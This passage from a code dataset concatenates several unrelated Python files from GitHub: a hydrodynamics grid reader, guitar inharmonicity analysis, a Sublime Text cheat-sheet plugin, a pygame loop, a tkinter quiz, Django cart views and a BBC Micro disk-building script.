arr):\n        \"\"\"\n        Given a scalar array with the same dimensions as the grid, performs a volume integral \n        over the entire array and returns a scalar.\n        \"\"\"\n        assert arr.shape == self.shape, \"Error: input array must have same dimensions as the grid.\"\n        if self._jacobian is None:\n            self._jacobian = (self.r * self.dr)[:, np.newaxis, np.newaxis] * \\\n                self.dphi[np.newaxis, :, np.newaxis] * \\\n                self.dz[np.newaxis, np.newaxis, :]            \n        return (arr * self._jacobian).sum()\n\n    def meshCoords(self, phi_p):\n        r, phi = self.r_edge[2:-2], self.phi_edge[2:-2]\n        phi_grid, r_grid = np.meshgrid(phi, r)\n        x0, y0 = r_grid*np.cos(phi_grid), r_grid*np.sin(phi_grid)\n\n        x, y = x0 * np.cos(phi_p) + y0 * np.sin(phi_p), \\\n               y0 * np.cos(phi_p) - x0 * np.sin(phi_p)\n        return x, y\n\n    def plotCoords(self, phi, ndims=2):\n        (x_edge, y_edge), z_edge = self._rotate(self.x_edge[2:-3, 2:-2],\n                                                self.y_edge[2:-3, 2:-2], phi), \\\n                                   self.z_edge[2:-3]\n        if ndims == 2:\n            shape = (self.nxtot, self.nytot + 1)\n            assert x_edge.shape == shape\n            assert y_edge.shape == shape\n            return x_edge, y_edge, None\n        elif ndims == 3:\n            x_edge = np.dstack((x_edge,) * self.nztot)\n            y_edge = np.dstack((y_edge,) * self.nztot)\n            z_edge = np.tile(z_edge, (self.nxtot, self.nytot + 1, 1))\n\n            shape = (self.nxtot, self.nytot + 1, self.nztot)\n            assert x_edge.shape == shape\n            assert y_edge.shape == shape\n            assert z_edge.shape == shape\n            return x_edge, y_edge, z_edge\n\n\n    def distance(self, xp, yp, zp):\n        if self.ndims == 2:\n            dist2 = self.xDist(xp) ** 2 + self.yDist(yp) ** 2\n        elif self.ndims == 3:\n            dist2 = np.dstack((self.xDist(xp) ** 2 + self.yDist(yp) ** 2,) * self.nztot) + \\\n                    np.tile(self.zDist(zp) ** 2, (self.nxtot, self.nytot, 1))\n        else:\n            assert False\n        assert dist2.shape == self.shape\n        return np.sqrt(dist2)\n\n    @staticmethod\n    def _rotate(x, y, phi):\n        return x * np.cos(phi) + y * np.sin(phi), y * np.cos(phi) - x * np.sin(phi)\n\n    def frame(self, phi):\n        \"\"\"\n        Rotates coordinate system by phi\n        \"\"\"\n        return self._rotate(self.x, self.y, phi), \\\n               self._rotate(self.x_edge, self.y_edge, phi)\n\n    def _readGrid(self, fname, path):\n        with open(path + '/' + fname, 'rb') as gridfile:\n            binary = gridfile.read()\n            start, num = 0, self.nxtot + 5\n            r_edge = np.array(struct.unpack('<' + 'd' * num,\n                                            binary[:num * 8]))\n            start, num = self.nxtot + 5, self.nytot + 5\n            phi_edge = np.array(struct.unpack('<' + 'd' * num,\n                                              binary[start * 8:(start + num) * 8]))\n            if self.ndims == 3:\n                start, num = self.nytot + 5 + self.nxtot + 5, self.nztot + 5\n                z_edge = np.array(struct.unpack('<' + 'd' * num,\n                                                binary[-num * 8:]))\n            else:\n                z_edge = np.array([0.0])\n        return r_edge, phi_edge, z_edge\n\n    def _computeCellCoordinates(self):\n        r_edge, phi_edge, z_edge = self.r_edge, self.phi_edge, self.z_edge\n        r = (np.roll(r_edge, -1) + r_edge)[2:-3] / 2.0\n        phi = (np.roll(phi_edge, -1) + phi_edge)[2:-3] / 2.0\n        if self.ndims == 3:\n            z = (np.roll(z_edge, -1) + z_edge)[2:-3] / 2.0\n        else:\n            z = np.array([0.0])\n        return r, phi, z\n\n    def _computeCellSize(self):\n        r_edge, phi_edge, z_edge = self.r_edge, self.phi_edge, self.z_edge\n        dr = (np.roll(self.r_edge, -1) - self.r_edge)[2:-3]\n        dphi = (np.roll(self.phi_edge, -1) - self.phi_edge)[2:-3]\n        if self.ndims == 3:\n            dz = (np.roll(self.z_edge, -1) - self.z_edge)[2:-3]\n        else:\n            dz = np.array([0.0])\n        return dr, dphi, dz\n\n    def _computeCellVol(self):\n        rdr = self.r * self.dr\n        dphi = self.dphi\n        dz = self.dz\n        xy_area = rdr[:, np.newaxis] * dphi[np.newaxis, :]\n        xz_area = self.dr[:,np.newaxis] * dz[np.newaxis, :]\n        vol = rdr[:, np.newaxis, np.newaxis] * \\\n              dphi[np.newaxis, :, np.newaxis] * \\\n              dz[np.newaxis, np.newaxis, :]\n        return xy_area, xz_area, vol\n","repo_name":"pslii/planethydro","sub_path":"parseData/gridReader.py","file_name":"gridReader.py","file_ext":"py","file_size_in_byte":8580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16894160728","text":"import os, re, shutil, sys\n\ndef squence(dir, prefixname):\n    if not (os.path.exists(dir) and os.path.isdir(dir)):\n        print(\"请输入一个已存在的文件夹名称!\")\n        sys.exit()\n\n    regex_str = '(' + prefixname  + ')'+ r'(\\d+)'\n    regex = re.compile(regex_str)\n    # print(regex)\n    dict = {}\n    for filename in os.listdir():\n        mo = regex.search(filename)\n        if mo != None:\n            dict[int(mo.group(2))] = filename\n    \n    list_sort = list(dict.keys())\n    list_sort.sort()\n    print(type(len(list_sort)))\n    \n    for i in range(len(list_sort)):\n        print(list_sort[i])\n        print(dict[list_sort[i]])\n        mo = regex.search(dict[list_sort[i]])\n        # print(mo.group(1), mo.group(2))\n        # shutil.move(dict[list_sort[i], mo.group(1) + str(list_sort[i]) + os.path.splitext(dict[list_sort[i]])[1])\n        print(os.path.splitext(dict[list_sort[i]])[1])\n\n    print(dict)\n\n\n\n\nsquence('/home/kindleeldnik/CodeWorkSpace/automate_stuff_with_python/ch09', 'spam')\n","repo_name":"aa962135230/automate_stuff_with_python","sub_path":"ch09/9.8.3.py","file_name":"9.8.3.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73061645811","text":"import random\nimport numpy as np\nfrom numpy.core.fromnumeric import std\nfrom numpy.lib.function_base import median\nimport scipy\nfrom random import choice\nfrom scipy.optimize import least_squares\nimport librosa\nimport os\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import (LinearRegression, TheilSenRegressor, RANSACRegressor, HuberRegressor)\nimport matplotlib.patches as mpatches\nfrom constants_parser import Constants\nimport matplotlib.pyplot as plt\n\nclass Partial():\n    def __init__(self, frequency, order, peak_idx):\n        self.frequency = frequency\n        self.order = order\n        self.peak_idx = peak_idx\n\nclass ToolBox():\n    \"\"\"here all tools developed are stored. designed this way so \n    it can be expanded and incorporate other methods for partial detection \n    or computing beta coefficient etc. For example usage/alterations see bellow\"\"\"\n\n    def __init__(self, partial_tracking_func, inharmonicity_compute_func, partial_func_args, inharmonic_func_args):\n        self.partial_func = partial_tracking_func\n        self.inharmonic_func = inharmonicity_compute_func\n        self.partial_func_args = partial_func_args\n        self.inharmonic_func_args = inharmonic_func_args\n    \nclass NoteInstance():\n    \"\"\"move to other level of package\"\"\"\n    def __init__(self, fundamental, onset, audio, ToolBoxObj:ToolBox ,sampling_rate, constants : Constants, longaudio=np.array([]), midi_flag = False):\n        self.fundamental = fundamental\n        self.onset = onset\n        self.audio = audio\n        self.longaudio = longaudio # may be used for (\"internal\") f0 computation\n        self.sampling_rate = constants.sampling_rate\n        self.polyfit = constants.polyfit\n        self.fft=np.fft.fft(self.audio,n = constants.size_of_fft)\n        self.frequencies=np.fft.fftfreq(constants.size_of_fft,1/self.sampling_rate)\n        self.partials = []\n        self.differences = []\n        self.abc = []\n        self.large_window = None\n        # self.train = False\n        self.string = None\n        if midi_flag:\n            self.recompute_fundamental(constants, fundamental/2)\n\n        ToolBoxObj.partial_func(self, ToolBoxObj.partial_func_args) # if a different partial tracking is incorporated keep second function arguement, else return beta from second function and change entirely\n\n    def get_string(string):\n        self.string = string\n\n    def plot_DFT(self, peaks=None, peaks_idx=None, lim=None, ax=None, save_path=None):\n        [a,b,c] = self.abc\n        w = self.large_window\n     \n        # main function\n        ax.plot(self.frequencies, self.fft.real)\n\n        for k in range(50): # draw vertical red dotted lines indicating harmonics\n            ax.axvline(x=self.fundamental*k, color='r', ls='--', alpha=0.85, lw=0.5)     \n\n        if w: # draw windows as little boxes\n            f0 = self.fundamental\n            for k in range(1,lim+1):\n                # f = k*f0 * np.sqrt(1+b_est*k**2)\n                f = window_centering_func(k,f0, a=a,b=b,c=c)\n                rect=mpatches.Rectangle((f-w//2,-80),w,160, fill=False, color=\"purple\", linewidth=2)\n                # plt.gca().add_patch(rect)\n                ax.add_patch(rect)\n\n        if peaks and peaks_idx: # draw peaks\n            ax.plot(peaks, self.fft.real[peaks_idx], \"x\", alpha=0.7)\n\n        ax.set_xlim(0, window_centering_func(lim+1,f0, a=a,b=b,c=c))\n        ax.set_ylim(-100, 100)\n\n        return ax\n\n\n    def plot_partial_deviations(self, lim=None, res=None, peaks_idx=None, ax=None, note_instance=None, annos_string=None, tab_instance=None):\n\n        differences = self.differences\n        w = self.large_window\n        [a,b,c] = res\n        kapa = np.linspace(0, lim, num=lim*10)\n        y = a*kapa**3 + b*kapa + c\n\n        if peaks_idx:\n            PeakAmps = [ self.frequencies[peak_idx] for peak_idx in peaks_idx ]\n            PeakAmps = PeakAmps / max(PeakAmps) # Normalize\n        else:\n            PeakAmps = 1\n        ax.scatter(np.arange(2,len(differences)+2), differences, alpha=PeakAmps)\n        f0 = self.fundamental\n        # plot litte boxes\n        for k in range(2, len(differences)+2):\n            pos = window_centering_func(k, f0, a, b, c) - k*f0\n\n            rect=mpatches.Rectangle((k-0.25, pos-w//2), 0.5, w, fill=False, color=\"purple\", linewidth=2)\n            # plt.gca().add_patch(rect)\n            ax.add_patch(rect)\n\n        ax.plot(kapa,y, label = 'new_estimate')\n        ax.grid()\n        ax.legend()\n\n        if annos_string:\n            if note_instance.string == annos_string:\n                c = 'green'\n            else:\n                c = 'red'\n        else:\n            c = 'black'\n        \n        if tab_instance:\n            plt.title(\"pred: \"+ str(note_instance.string) + \", annotation: \" + str(annos_string) + ', fret: ' + str(tab_instance.fret) + ' || f0: ' + str(round(self.fundamental,2)) + ', beta_estimate: '+ str(round(self.beta,6)), color=c) # + '\\n a = ' + str(round(a,5)), color=c)\n        else:\n            plt.title(\"pred: \"+ str(note_instance.string) + \", annotation: \" + str(annos_string) + ' || f0: ' + str(round(self.fundamental,2)) + ', beta_estimate: '+ str(round(self.beta,6)), color=c)# + '\\n a = ' + str(round(a,5)), color=c)\n\n        return ax\n\n    def weighted_argmean(self, peak_idx, w=6):\n        min_idx = max(peak_idx - w//2, 0)\n        max_idx = min(peak_idx + w//2, len(self.frequencies)-1)\n        window = range(min_idx, max_idx+1)\n        amp_sum = sum([self.fft.real[i] for i in window])\n        res = sum( [self.fft.real[i]/amp_sum * self.frequencies[i] for i in window] )\n        return res\n\n    def recompute_fundamental(self, constants : Constants, window = 10): \n        \n        if not self.longaudio.any(): # if we want to work on given self.audio (and not on self.longaudio)\n            filtered = zero_out(self.fft, self.fundamental, window, constants)\n        else:\n            longaudio_fft = np.fft.fft(self.longaudio,n = constants.size_of_fft)\n            filtered = zero_out(longaudio_fft, self.fundamental, window, constants)\n        peaks, _  =scipy.signal.find_peaks(np.abs(filtered),distance=100000) # better way to write this?\n        \n        max_peak_freq = self.weighted_argmean(peak_idx=peaks[0], w=0) # w=0 means that no weighted argmean is employed, Note: equivalent to # max_peak_freq = self.frequencies[peaks[0]]\n\n        self.fundamental = max_peak_freq\n        return max_peak_freq\n\n\ndef window_centering_func(k,f0=None,a=None,b=None,c=None, b_est=None):\n    if b_est: # standard inharmonicity equation indicating partials position\n        center_freq = k*f0 * np.sqrt(1+b_est*k**2)\n    else: # polynomial approximation of partials\n        center_freq = a*k**3+b*k+c + (k*f0)\n    return center_freq        \n\n\ndef compute_partials(note_instance, partial_func_args):\n    \"\"\"compute up to no_of_partials partials for note instance. \n    large_window is the length of window arround k*f0 that the partials are tracked with highest peak.\"\"\"\n    # no_of_partials = partial_func_args[0] NOTE: deal with it somehow\n    note_instance.large_window = partial_func_args[1]\n    constants = partial_func_args[2]\n    diviate = round(note_instance.large_window*note_instance.fft.size/note_instance.sampling_rate)\n    f0 = note_instance.fundamental\n\n    a, b, c = 0, 0, 0\n    step=2\n    bound = constants.no_of_partials + constants.no_of_partials % step\n    for lim in range(6,31,step):\n        for k in range(2,lim): # 2 stands for the 2nd partial!\n            # center_freq = k*f0 * np.sqrt(1+b_est*k**2)\n            center_freq = window_centering_func(k,f0, a=a,b=b,c=c) # centering window in which to look for peak/partial\n            try:\n                filtered = zero_out(note_instance.fft, center_freq=center_freq , window_length=diviate, constants=constants)\n               \n                peaks, _  = scipy.signal.find_peaks(np.abs(filtered),distance=100000) # better way to write this?\n                max_peak = note_instance.frequencies[peaks[0]]\n                # max_peak = note_instance.weighted_argmean(peak_idx=peaks[0], w=6)\n                note_instance.partials.append(Partial(frequency=max_peak, order=k, peak_idx=peaks[0]))\n          \n            except Exception as e:\n                print(e)\n                print('MyExplanation: Certain windows where peaks are to be located surpassed the length of the DFT.')\n                break\n        # iterative beta estimates\n        _, [a,b,c] = compute_inharmonicity(note_instance, [])\n        note_instance.abc = [a,b,c]\n        # compute differences/deviations\n        note_instance.differences, orders = zip(*compute_differences(note_instance))\n        # if i != N-1: # i.e. if not the final iteration\n        if lim<30:\n            note_instance.partials=[]\n\n\n    # if constants.plot: \n    #     peak_freqs = [partial.frequency for partial in note_instance.partials]\n    #     peaks_idx = [partial.peak_idx for partial in note_instance.partials]\n    #     fig = plt.figure(figsize=(15, 10))\n    #     ax1 = fig.add_subplot(2, 1, 1)\n    #     ax2 = fig.add_subplot(2, 1, 2)\n    #     note_instance.plot_partial_deviations(lim=30, res=note_instance.abc, ax=ax1, note_instance=note_instance) #, peaks_idx=Peaks_Idx)\n    #     note_instance.plot_DFT(peak_freqs, peaks_idx, lim=30, ax=ax2)   \n    #     plt.show()\n    \n\ndef compute_differences(note_instance):\n    differences = []\n    for i, partial in enumerate(note_instance.partials):\n        differences.append((abs(partial.frequency-(i+2)*note_instance.fundamental), i)) # i+2 since we start at first partial of order k=2\n    return differences\n\ndef compute_inharmonicity(note_instance, inharmonic_func_args):\n    differences, orders = zip(*compute_differences(note_instance))\n  \n    u=np.array(orders)+2\n    if note_instance.polyfit == 'lsq':\n        res=compute_least(u,differences) # least_squares\n    if note_instance.polyfit == 'Thei':\n        res=compute_least_TheilSen(u,differences) # least_squares\n    \n    [a,b,c]=res\n    beta=2*a/(note_instance.fundamental+b) # Barbancho et al. (17)\n    note_instance.beta = beta\n    return beta, res\n    \ndef compute_least(u,y):\n    def model(x, u):\n        return x[0] * u**3 + x[1]*u + x[2]\n    def fun(x, u, y):\n        return model(x, u)-y\n    def jac(x, u, y):\n        J = np.empty((u.size, x.size))\n        J[:, 0] = u**3\n        J[:, 1] = u\n        J[:, 2] = 1\n        return J\n    x0=[0.00001,0.00001,0.000001]\n    res = least_squares(fun, x0, jac=jac,bounds=(0,np.inf), args=(u, y),loss = 'soft_l1', verbose=0)\n    return res.x    \n\n\n\n# https://scikit-learn.org/stable/auto_examples/linear_model/plot_robust_fit.html#sphx-glr-auto-examples-linear-model-plot-robust-fit-py\n# https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.TheilSenRegressor.html#sklearn.linear_model.TheilSenRegressor\ndef compute_least_TheilSen(u,y): \n    u = u[:, np.newaxis]\n    poly = PolynomialFeatures(3)\n    # print\n    u_poly = poly.fit_transform(u)\n    u_poly = np.delete(u_poly, 2, axis=1) # delete second coefficient (i.e. b=0, for  b * x**2)\n\n    # estimator =  LinearRegression(fit_intercept=False)\n    # estimator.fit(u_poly, y)\n\n    estimator = TheilSenRegressor(random_state=42)\n    # estimator = HuberRegressor()\n    estimator.fit(u_poly, y)\n\n    # print(\"coefficients:\", estimator.coef_)\n    return estimator.coef_[::-1]\n\n\n\n\ndef zero_out(fft, center_freq, window_length, constants : Constants):\n    \"\"\"return amplitude values of fft arround a given frequency; when outside window amplitude is zeroed out\"\"\"\n    sz = fft.size\n    x = np.zeros(sz,dtype=np.complex64)\n    temp = fft\n    dom_freq_bin = int(round(center_freq*sz/constants.sampling_rate))\n    window_length = int(window_length)\n\n    # for i in range(dom_freq_bin-window_length,dom_freq_bin+window_length): #NOTE: possible error\n    for i in range(dom_freq_bin-window_length//2, dom_freq_bin+window_length//2): # __gb_\n        x[i] = temp[i]**2\n\n    return x\n\n\n\"\"\"here on tests\"\"\"\n\n#-----------ToolBox Example--------------------\n\n#when changing only partial computing function\ndef example_compute_partial(note_instance, partial_func_args):\n    arg0 = partial_func_args[0]\n    arg1 = partial_func_args[1]\n    arg2 = partial_func_args[2]\n    for i in range(0, arg0):\n        x = random.choice([arg1, arg2])\n        note_instance.partials.append(Partial(x, i))\n# example changing beta computation and probably bypassing previous partial computation\ndef example_inharmonicity_computation(note_instance, inharmonic_func_args):\n    arg0 = inharmonic_func_args[0]\n    arg1 = inharmonic_func_args[1]\n    # do more stuff...\n    note_instance.beta = arg0\n\n#-----------end of ToolBox Example---------------\n\ndef wrapper_func(fundamental, audio, sampling_rate, constants : Constants):\n    \n    ToolBoxObj = ToolBox(compute_partials, compute_inharmonicity, [14, fundamental/2, constants], [])\n    note_instance = NoteInstance(fundamental, 0, audio, ToolBoxObj, sampling_rate, constants)\n    print(note_instance.beta, [x.frequency for x in note_instance.partials])\n\n\n\n\n\n","repo_name":"estafons/inh-ga-tabs","sub_path":"src/inharmonic_Analysis.py","file_name":"inharmonic_Analysis.py","file_ext":"py","file_size_in_byte":13020,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"27931327566","text":"import sublime \nimport sublime_plugin\nimport webbrowser\n\nclass ViewCheatSheetsCommand(sublime_plugin.TextCommand):\n\n    def run(self, edit):\n        \n        content = self.main_page()\n        self.view.show_popup(content, sublime.HTML, location=-1, max_width = 2000 , max_height=2000, on_navigate=self.second_pop_up_window)\n\n\n    def second_pop_up_window(self, edit):\n        \n        self.link_to_path = edit\n        content = self.topic()\n\n        self.view.show_popup(content, sublime.HTML, location=-1, max_width = 600, max_height=600, on_navigate=self.link_in_topic)\n\n\n    def main_page(self):\n        \n        resources = sublime.find_resources(\"main.html\")\n        content = sublime.load_resource(resources[0])\n        return content\n\n    \n    def topic(self):\n        \n        path = \"\"\n        \n        if self.link_to_path == str(1):\n            path = self.first_link\n        \n        elif self.link_to_path == str(2):\n            path = self.second_link\n        \n        elif self.link_to_path == str(3):\n            path = self.third_link\n        \n        elif self.link_to_path == str(4):\n            path = self.fourth_link\n        \n        elif self.link_to_path == str(5):\n            path = self.fifth_link\n        \n        elif self.link_to_path == str(6):\n            path = self.sixth_link\n        \n        elif self.link_to_path == str(7):\n            path = self.seventh_link\n        \n        elif self.link_to_path == str(8):\n            path = self.eighth_link\n        \n        elif self.link_to_path == str(9):\n            path = self.ninth_link\n        \n        elif self.link_to_path == str(10):\n            path = self.tenth_link\n        \n        elif self.link_to_path == str(11):\n            path = self.eleventh_link\n            \n        resources = sublime.find_resources(path)\n        content = sublime.load_resource(resources[0])\n        return content\n\n    def link_in_topic(self, edit):\n        \n        if edit == str(1):\n            content = self.main_page()\n            self.view.show_popup(content, sublime.HTML, location=-1, max_width = 2000 , max_height=2000, on_navigate=self.second_pop_up_window)\n        \n        elif edit == str(2):\n            webbrowser.open('https://geekbrains.ru/posts/python_numpy')\n        \n        elif edit == str(3):\n            webbrowser.open('https://docs.scipy.org/doc/')\n        \n        elif edit == str(4):\n            webbrowser.open('https://pandas.pydata.org')\n        \n        elif edit == str(5):\n            webbrowser.open('https://matplotlib.org')\n        \n        elif edit == str(6):\n            webbrowser.open('https://seaborn.pydata.org')\n        \n        elif edit == str(7):\n            webbrowser.open('https://bokeh.pydata.org/en/latest/')\n        \n        elif edit == str(8):\n            webbrowser.open('https://plot.ly/python/')\n        \n        elif edit == str(9):\n            webbrowser.open('https://scikit-learn.org/stable/')\n        \n        elif edit == str(10):\n            webbrowser.open('http://deeplearning.net/software/theano/')\n\n        elif edit == str(11):\n            webbrowser.open('https://www.tensorflow.org')\n\n        elif edit == str(12):\n            webbrowser.open('https://keras.io')\n\n        elif edit == str(13):\n            webbrowser.open('https://www.nltk.org')\n\n\n    first_link = \"1_base_types.html\"\n    second_link = \"2_сontainer_types.html\"\n    third_link = \"3_name.html\"\n    fourth_link = \"4_transformations.html\"\n    fifth_link = \"5_assignment_to_variables.html\"\n    sixth_link = \"6_Access_to_sequence_elements.html\"\n    seventh_link = \"7_boolean_logic.html\"\n    eighth_link = \"8_instruction_blocks.html\"\n    ninth_link = \"9_math.html\"\n    tenth_link = \"10_conditional_operator.html\"\n    eleventh_link = \"11_libraries.html\"\n\n","repo_name":"fahredof/cheat_sheets","sub_path":"view_cheat_sheets.py","file_name":"view_cheat_sheets.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37906584711","text":"import pygame as pg\nimport pytmx\n\nfrom src.constants import WINDOW_SIZE, FPS, SCALE\nfrom src.screens.screen_manager import ScreenManager\nfrom src.screens import MenuScreen, PlayScreen\n\n\nclass Game:\n    def __init__(self):\n        pg.init()\n        pg.event.set_allowed([pg.QUIT, pg.KEYDOWN, pg.KEYUP, pg.VIDEORESIZE])\n\n        self.is_running = True\n        self.clock = pg.time.Clock()\n        self.window = pg.display.set_mode(WINDOW_SIZE, pg.HWSURFACE | pg.DOUBLEBUF | pg.RESIZABLE)\n\n        self.screen_manager = ScreenManager(self)\n        self.screen_manager.set_current(MenuScreen(self.screen_manager))\n\n    def poll_events(self):\n        for event in pg.event.get():\n            if event.type == pg.QUIT:\n                self.is_running = False\n            if event.type == pg.VIDEORESIZE:\n                self.window = pg.display.set_mode(event.size, pg.HWSURFACE | pg.DOUBLEBUF | pg.RESIZABLE)\n\n            self.screen_manager.current_screen.handle_input(event)\n\n    def draw(self):\n        \"\"\" Clear the screen then render all objects. \"\"\"\n\n        self.screen_manager.draw(self.window)\n\n        pg.display.flip()\n\n    def update(self):\n        \"\"\" Update all objects.  \"\"\"\n\n        # calculate the delta time\n        dt = self.clock.tick(FPS) * .001 * FPS\n\n        self.poll_events()\n        self.screen_manager.update(dt)\n","repo_name":"ggmorais/supermariobros-pygame","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74160507254","text":"THEME_COLOR = \"#375362\"\nfrom tkinter import *\nfrom quiz_brain import QuizBrain\n\nclass QuizInterface:\n\n    def __init__(self, quiz_brain: QuizBrain):\n\n        self.quiz = quiz_brain\n        self.window = Tk()\n        self.window.title(\"Quizzler\")\n        self.window.minsize()\n        self.window.config(padx=20, pady=20, bg=THEME_COLOR)\n\n        self.score = Label(text=\"Score: 0\", font=(\"Arial\", 15, \"normal\"), bg=THEME_COLOR)\n        self.score.grid(column=1, row=0, pady=20)\n\n\n        self.canvas = Canvas(height=250, width=300, bg=\"white\", highlightthickness=0)\n        self.canvas.grid(column=0, row=1, columnspan=2, pady=20)\n        self.question_text = self.canvas.create_text(150, 125, text=\"quote by quote\", font=(\"Arial\", 20, \"italic\"), width=280, fill=\"black\")\n\n\n\n\n\n        self.false_img = PhotoImage(file=\"images/false.png\")\n        self.false = Button(image=self.false_img, highlightthickness=0, borderwidth=0, highlightcolor=THEME_COLOR, command=self.false_pressed)\n        self.false.grid(column=0, row=2, pady=20)\n\n        self.true_img = PhotoImage(file=\"images/true.png\")\n        self.true = Button(image=self.true_img, highlightthickness=0, borderwidth=0, highlightcolor=THEME_COLOR, command=self.true_pressed)\n        self.true.grid(column=1, row=2, pady=20)\n\n        self.get_next_question()\n\n\n        self.window.mainloop()\n\n    def get_next_question(self):\n        self.canvas.config(bg=\"white\")\n        if self.quiz.still_has_questions():\n            q_text = self.quiz.next_question()\n            self.canvas.itemconfig(self.question_text, text=q_text)\n            self.score.config(text=f\"Score: {self.quiz.scores}\")\n        else:\n            self.canvas.itemconfig(self.question_text, text=\"You've reached the end of the quiz.\")\n            self.true.config(state=\"disabled\")\n            self.false.config(state=\"disabled\")\n\n\n    def true_pressed(self):\n        self.give_feedback(self.quiz.check_answer(\"True\"))\n\n\n    def false_pressed(self):\n        self.give_feedback(self.quiz.check_answer(\"False\"))\n\n\n    def give_feedback(self, is_right):\n        if is_right:\n            self.canvas.config(bg=\"green\")\n        else:\n            self.canvas.config(bg=\"red\")\n        self.window.after(1000, self.get_next_question)\n\n\n\n\n\n\n\n\n","repo_name":"okonkwoharry/quizzler-app-start","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73454697331","text":"from helpers.views import findTypeFromId\nfrom .models import Cart\nfrom frontpage.models import Product\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\n\n#CART FUNCTIONS\n\n@login_required\ndef clear_user_cart_data(request):\n    data_to_delete = Cart.objects.filter(user=request.user)\n\n    for data in data_to_delete:\n        data.delete()\n    return render(request, 'cart/empty.html')\n\n@login_required\ndef delete_cart_item(request, cart_id):\n    '''deletes the item with the item id in the cart'''\n    carts = Cart.objects.filter(user=request.user)\n    row = Cart.objects.get(id=cart_id)\n    product = row.product\n\n    #updates the quantity\n    quantity = row.quantity\n    row.product.leftInStock += quantity\n    row.product.save()\n\n    #actually deletes the cart item\n    row.delete()\n\n    #sending the user back to their cart or an empty cart\n    if carts.exists():\n        return get_cart_items(request)\n    else:\n        return render(request, 'cart/empty.html')\n\n@login_required\ndef add_item_to_cart(request, product_id):\n    if request.method == 'POST':\n        product = get_object_or_404(Product, pk=product_id)\n\n        #if the product is already in the user's cart\n        if Cart.objects.filter(user=request.user, product=product).exists():\n            cart = Cart.objects.get(user=request.user, product=product)\n            cart.quantity += int(request.POST[\"quantity\"])\n            cart.save()\n        else:\n            # create new cartObject if product is not already in the cart\n            newrow = Cart(user=request.user, product=product, quantity=request.POST[\"quantity\"])\n            newrow.save()\n\n        #update the left in stock of the product\n        product.leftInStock -= int(request.POST[\"quantity\"])\n        product.save()\n\n        #redirects to the correct detail view depending on product type\n        type = findTypeFromId(product_id)\n        if type == \"game\":\n            return redirect('/games/' + str(product_id))\n        elif type == \"console\":\n            return redirect('/consoles/' + str(product_id))\n        elif type == \"accessory\":\n            return redirect('/accessories/' + str(product_id))\n\n@login_required()\ndef get_cart_items(request):\n    cart = Cart.objects.filter(user=request.user)\n    total_price = get_total_cart_price(request)\n    if cart.exists():\n        #get all the items for this cart\n        context = {\"cart\": cart, \"total_price\": total_price}\n        return render(request, 'cart/index.html', context)\n    else:\n        return render(request, 'cart/empty.html')\n\n\n@login_required\ndef get_total_cart_price(request):\n    total_sum = 0\n    product_list = Cart.objects.filter(user=request.user)\n    for cart in product_list:\n        total_sum += (cart.product.price * cart.quantity)\n\n    return total_sum\n\n\n\n","repo_name":"bjorgvin16/verklegt2","sub_path":"captain_console/cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35511747566","text":"import subprocess       # for running shell commands\nimport shutil           # for copying files\nimport sys              # for exiting the script with an exit code\nimport re               # for regular expressions when reading symbols file\nimport os               # for filepath manipulation, getting the file size, reading environment variables\nimport difflib          # for file diffs\nimport image            # for creating SSD\n\n# configuration parameters\noriginal_bin_filepaths  = [ \"original/LISP406\" ]\nssd_filepath            = \"LISP.ssd\"\n\naux_files_to_copy=(\n)\n\nboot_option = 3     # 0=None, 1=Load, 2=Run, 3=Exec\n\n# generic code\ndef make_absolute_filepath(relative_filepath):\n    # Get path to current working directory\n    dirname = os.getcwd()\n    return os.path.join(dirname, relative_filepath)\n\ndef exit(code, message):\n    if code != 0:\n        print(\"ERROR: \" + message + \" (exit code \" + str(code) + \")\")\n    sys.exit(code)\n\ndef safe_copy(source, destination):\n    try:\n        shutil.copy(source, destination)\n    except FileNotFoundError:\n        exit(-1, \"Could not find file '\" + source + \"' to copy to '\" + destination + \"'\")\n    except:\n        exit(-2, \"Could not copy file '\" + source + \"' to '\" + destination + \"'\")\n\ndef run(args, error_message, cwd=None):\n    # For debugging...\n    # print(args)\n    p = subprocess.run(args, capture_output=True, cwd=cwd)\n    if p.returncode != 0:\n        print(args)\n        print(p.stderr.decode())\n        exit(p.returncode, error_message)\n    return p.stdout\n\ndef make_directory(directory):\n    run([\"mkdir\", \"-p\", directory], \"Couldn't create build/disk directory\")\n\n# Copy files to disk\ndef copy_files(files_to_copy):\n    for file in files_to_copy:\n        safe_copy(\"original/\" + file, \"build/disk/\" + file)\n        safe_copy(\"original/\" + file + \".inf\", \"build/disk/\" + file + \".inf\")\n\ndef disassemble_binary(python_filename, asm_filename, option):\n    args = [\"python3\", python_filename, option]\n    result_bytes = run(args, \"disassemble failed\")\n    with open(asm_filename, 'wb') as f:\n        f.write(result_bytes)\n\ndef make_inf(host_filename, bbc_filename, load_address, exec_address, size):\n    # Create INF file for !BOOT\n    inf_text = r\"$.\" + bbc_filename + \"     FFFF\" + load_address + \" FFFF\" + exec_address + \" \" + hex(size)[2:]\n    with open(\"build/disk/\" + host_filename + \".INF\", 'w') as f:\n        f.write(inf_text)\n\ndef create_ssd(disk_title, ssd_filepath, boot_option):\n    disk_type = 0       # 0=Acorn DFS or Watford DFS <= 256K\n                        # 1=Watford DFS > 256K\n                        # 2=Angus Duggan's HDFS(SS)\n                        # 3=Angus Duggan's HDFS(DS)\n    # 80 tracks, 10 sectors per track\n    